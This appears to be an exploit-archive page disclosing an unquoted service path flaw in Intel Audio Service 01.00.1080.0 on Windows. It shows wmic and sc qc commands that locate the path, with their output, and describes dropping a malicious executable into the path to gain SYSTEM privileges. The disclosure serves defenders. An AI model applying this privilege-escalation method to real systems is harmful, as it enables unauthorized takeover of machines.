Intel(r) audio service x64 01.00.1080.0 intelaudioservice unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-06-02 | Type : local | Platform : windows
This exploit / vulnerability Intel(r) audio service x64 01.00.1080.0 intelaudioservice unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Intel(R) Audio Service x64 01.00.1080.0 - 'IntelAudioService' Unquoted Service Path
# Date: 06-01-2021
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 01.00.1080.0
# File Version: 1.00.1080.0
# Tested on: Microsoft® Windows 10 Home Single Language 10.0.19042 x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IntelAudioService%"' get name, displayname, pathname, startmode, startname

DisplayName Name PathName StartMode StartName
Intel(R) Audio Service IntelAudioService C:\WINDOWS\system32\cAVS\Intel(R) Audio Service\IntelAudioService.exe Auto LocalSystem


# 2. To check service info:

C:\>sc qc "IntelAudioService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: IntelAudioService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\WINDOWS\system32\cAVS\Intel(R) Audio Service\IntelAudioService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Intel(R) Audio Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires drop a malicious executable into the service path undetected by the OS in order
to gain SYSTEM privileges.